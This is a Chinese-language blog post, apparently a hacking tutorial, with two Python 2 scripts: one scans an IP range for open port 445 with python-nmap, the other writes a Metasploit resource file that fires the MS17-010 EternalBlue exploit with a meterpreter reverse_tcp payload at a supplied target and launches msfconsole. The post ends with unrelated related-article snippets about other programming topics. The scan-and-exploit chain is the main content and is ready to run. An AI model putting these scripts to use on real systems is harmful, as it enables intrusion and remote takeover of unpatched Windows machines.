起因:看各位大佬们写的shellcode厉害的一匹,可惜自己没学C和汇编

也看不懂shellcode,只能写一个调用metasploit里的模块进行攻击了。

0x01

攻击机:192.168.223.141 kali Linux
目标:192.168.3.5 windows

  需要用到的模块(这里我们写两个脚本,一个用于扫描IP段,看看那个IP开了445)

nmap模块
os模块
sys模块 nmap模块kail自带坑的要死,完全没有相关的函数。
手动卸载:pip uninstall nmap
安装:pip insall nmap

  0x02

代码分析

sm445.py

nmap模块详解:https://pypi.python.org/pypi/python-nmap/0.6.1

import nmap
import sys
print '[+]nmap scanning...'
def portscanner(sbg):
nmscn=nmap.PortScanner()#实例化nmap.PortScanner对象
nmscn.scan(sbg,'445')#scan('目标IP','端口')
for host in nmscn.all_hosts():#获取扫描到的所有主机
if nmscn[host].has_tcp(445):#判断主机上是否有445端口,
state=nmscn[host]['tcp'][445]['state']#端口445 / TCP在主机打开
if state=="open":#如果端口开放
print '[*]The open 445 ip in:'+host#输出开放端口的IP
portscanner(sys.argv[1])

  

yhzl.py

import sys
import os
print 'Metasploit executing the ms-17-010 vulnerability attack'#这句话的意思是正在实施MS17010漏洞的攻击
def sds(config):
config=open('yhzl.rc','w')#首先我们来创建一个xxx.rc的文件
#把你要使用到的模块和对应的参数写入xxx.rc里去
config.write('use exploit/windows/smb/ms17_010_eternalblue'+"\n")
config.write('set PAYLOAD windows/x64/meterpreter/reverse_tcp'+"\n")
config.write('set RHOST '+sys.argv[1]+"\n")
config.write('set LHOST '+sys.argv[2]+"\n")
config.write('exploit'+"\n")
sds('')
def main():
mg=os.system('msfconsole -r /root/yhzl.rc')#执行msfconsole -r 路径/xxx.rc,就可以了
if __name__ == '__main__':
main()

  运行截图这里就不放了,我怕电脑蓝屏。视频发到群里了,看攻击过程的小伙伴

可以进群看聊天记录。还有欢迎大家进入即刻安全技术交流群:307283889

推荐大家看基本python的书:

《python绝技 运用python成为顶级黑客》 python2x 版本

《python 黑帽子》 python 3x版本

看完实战,或者构造一个思路去实现他。

python调用metasploit里的MS-17-010模块进行漏洞攻击的更多相关文章

  1. 《自拍教程17》Python调用命令

    他山之石 何为他山之石,就是借助外界工具,来实现自己想要的功能. 命令行界面软件, 即各种命令,我们也叫命令行工具, 此类工具也是测试人员或者开发人员常用的工具的一种. 测试人员可以借助这类工具,快速 ...

  2. Python调用ffpmeg和ffprobe处理视频文件

    需求: 运营有若干批次的视频.有上千个,视频文件,有mp4格式的,有ts格式的 现在有需要去掉视频文件片头和片尾的批量操作需求. 比如 文件夹A下面的视频去掉片尾10秒 文件夹B下面的视频去掉片头6秒 ...

  3. python调用C++之pybind11入门(相互调用)

    python调用C/C++有不少的方法,如boost.python, swig, ctypes, pybind11等,这些方法有繁有简,而pybind11的优点是对C++ 11支持很好,API比较简单 ...

  4. python调用c\c++

    前言 python 这门语言,凭借着其极高的易学易用易读性和丰富的扩展带来的学习友好性和项目友好性,近年来迅速成为了越来越多的人们的首选.然而一旦拿python与传统的编程语言(C/C++)如来比较的 ...

  5. python调用系统命令popen、system

    python调用Shell脚本,有两种方法:os.system(cmd)或os.popen(cmd),前者返回值是脚本的退出状态码,后者的返回值是脚本执行过程中的输出内容.所以说一般我们认为popen ...

  6. python 调用mysql存储过程返回结果集

    存储过程: delimiter | ),)) begin select * from tb_test where mid = imid and user = iuser; end; | delimit ...

  7. 『Python』Python 调用 ZoomEye API 批量获取目标网站IP

    #### 20160712 更新 原API的访问方式是以 HTTP 的方式访问的,根据官网最新文档,现在已经修改成 HTTPS 方式,测试可以正常使用API了. 0x 00 前言 ZoomEye 的 ...

  8. python 调用shell命令三种方法

    #!/usr/bin/python是告诉操作系统执行这个脚本的时候,调用/usr/bin下的python解释器: #!/usr/bin/env python这种用法是为了防止操作系统用户没有将pyth ...

  9. 篇2 安卓app自动化测试-初识python调用appium

    篇2              安卓app自动化测试-初识python调用appium --lamecho辣么丑 1.1概要 大家好!我是lamecho(辣么丑),上一篇也是<安卓app自动化测 ...

随机推荐

  1. webpack+vue-cil 中proxyTable配置接口地址代理

    webpack+vue-cil 中proxyTable配置接口地址代理 在项目开发的时候,接口联调的时候一般都是同域名下,且不存在跨域的情况下进行接口联调,但是当我们现在使用vue-cli进行项目打包 ...

  2. git的使用,eclipse操作(待更新)

    使用eclipse将项目上传到git私有服务器或github服务器: 1.配置个人信息: 2.配置eclipse私钥公钥: 上传公钥到仓库: 修改仓库中的公钥名称: 3.提交代码 一个仓库只能上传一个 ...

  3. Linux 文件API

    9/19/2017  开始攻读<LinuxC编程实战>,这是相关的笔记 1.创建 int creat(const char *filename, mode_t mode); 参数mode指 ...

  4. Python学习日记:day7-----集合

    1.基础数据类型汇总补充 1,list: 在循环一个列表是,最好不能删除列表中的元素. 2,bool 空列表.int:0.空str.空dict.空set--->bool:false 其余为tru ...

  5. 零基础学习webpack打包管理

    这些天在项目之余的时间学习了webpack打包项目的东西,非常荣幸的找到一些大神的文章来学习,死劲嚼了几天,终于略知一二.在以后的工作上还需继续学习,下面我将分享我这几天学到的一点东西,希望能让我一个 ...

  6. Java SE 8 流库(四)

    1.8. 收集数据 <R,A> R collect(Collector<? super T,A,R> collector)   使用给定的收集器来收集当前流中的元素 void ...

  7. 程序员的自我救赎---1.4.1:核心框架讲解(DAL)

    <前言> (一) Winner2.0 框架基础分析 (二)PLSQL报表系统 (三)SSO单点登录 (四) 短信中心与消息中心 (五)钱包系统 (六)GPU支付中心 (七)权限系统 (八) ...

  8. BeanShell Sample与控制台交互

    应用的场景:业务当中涉及到一些敏感信息,如验证码,银行卡密码等或是动态变化的,不能直接写在脚本中,就需要通过控制台手动输入 如密码已键盘的方式输入,在控制台中以密码的方式显示 处理方法:添加 bean ...

  9. @Autowired内部实现原理

    @Autowiredprivate CustomerDao customerDao;        public void addCustomer() {        customerDao.add ...

  10. grep命令及基本正则表达式

    grep命令是Linux系统中一种强大的文本搜索工具,它能使用正则表达式搜索文本,并把匹配的行打印出来. grep可用于shell脚本,因为grep通过返回一个状态值来说明搜索的状态,如果模板搜索成功 ...